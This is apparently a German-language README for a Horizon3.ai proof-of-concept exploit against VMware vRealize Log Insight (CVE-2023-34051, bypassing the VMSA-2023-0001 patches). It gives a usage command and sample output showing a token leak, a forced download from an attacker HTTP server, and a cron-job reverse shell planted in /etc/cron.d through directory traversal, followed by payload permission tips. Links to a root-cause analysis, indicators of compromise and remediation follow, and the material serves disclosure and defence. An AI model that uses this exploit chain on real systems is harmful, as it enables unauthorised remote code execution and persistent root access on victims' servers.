CVE-2023-34051

CVE-2023-34051 ist ein Authentifizierungs-Bypass, der den Patch für VMSA-2023-0001 umgeht. VMSA-2023-0001 für vRealize Log Insight enthält die folgenden CVEs:

• VMware vRealize Log Insight Directory Traversal Sicherheitslücke (CVE-2022-31706)
• VMware vRealize Log Insight Sicherheitslücke für gebrochene Zugriffskontrolle (CVE-2022-31704)
• VMware vRealize Log Insight enthält eine Sicherheitslücke zur Offenlegung von Informationen (CVE-2022-31711)

Die Standardkonfiguration dieser Sicherheitslücke schreibt einen Cron-Job, um eine Reverse Shell zu erstellen. Stellen Sie sicher, dass Sie die payload-Datei an Ihre Umgebung anpassen.

Technische Analyse

Eine technische Ursachenanalyse der Sicherheitslücke finden Sie in unserem Blog: https://www.horizon3.ai/vmware-aria-operations-for-logs-cve-2023-34051-technical-deep-dive

Indikatoren einer Kompromittierung

Für die Analyse von Log Insight-Instanzen auf Indikatoren einer Kompromittierung besuchen Sie unseren IOC-Blog: https://www.horizon3.ai/vmware-vrealize-cve-2022-31706-iocs/

Zusammenfassung

Dieser POC missbraucht IP-Adress-Spoofing und verschiedene Thrift-RPC-Endpunkte, um ein beliebiges Dateischreiben zu erreichen.

Verwendung

$ python3 VMSA-2023-0001.py --target_address 192.168.4.133 --http_server_address 192.168.4.60 --http_server_port 8080 --payload_file payload --payload_path /etc/cron.d/exploit 
[+] Using CVE-2022-31711 to leak node token
[+] Found node token: f261d2f5-71fa-45fd-a0a0-6114a55a8fb8
[+] Using CVE-2022-31704 to trigger malicious file download
192.168.4.133 - - [30/Jan/2023 16:43:41] "GET /exploit.tar HTTP/1.1" 200 -
[+] File successfully downloaded
[+] Using CVE-2022-31706 to trigger directory traversal and write cron reverse shell
[+] Payload successfully delivered

Fehlerbehebung

Damit dieser Angriff funktioniert, muss ein Angreifer dieselbe IP-Adresse wie ein Master-/Worker-Knoten haben. Weitere Details finden Sie im Blog oben.

Wenn Sie einen cron-basierten Payload verwenden, stellen Sie sicher, dass die Payload-Datei die entsprechenden Berechtigungen und Besitzer hat:

sudo chown root:root payload

sudo chmod 0644 payload 

Abhilfemaßnahmen

Aktualisieren Sie auf die neueste Version oder ergreifen Sie Abhilfemaßnahmen gemäß den Anweisungen in der VMSA https://www.vmware.com/security/advisories/VMSA-2023-0021.html

Folgen Sie dem Horizon3.ai Attack Team auf Twitter für die neueste Sicherheitsforschung:

• Horizon3 Angriffsteam
• James Horseman
• Zach Hanley

Haftungsausschluss

Diese Software wurde ausschließlich für akademische Forschungszwecke und zur Entwicklung effektiver Verteidigungstechniken erstellt und ist nicht dazu bestimmt, Systeme anzugreifen, es sei denn, dies wurde ausdrücklich genehmigt. Die Projektbetreuer übernehmen keine Verantwortung oder Haftung für Missbrauch der Software. Nutzen Sie sie verantwortungsbewusst.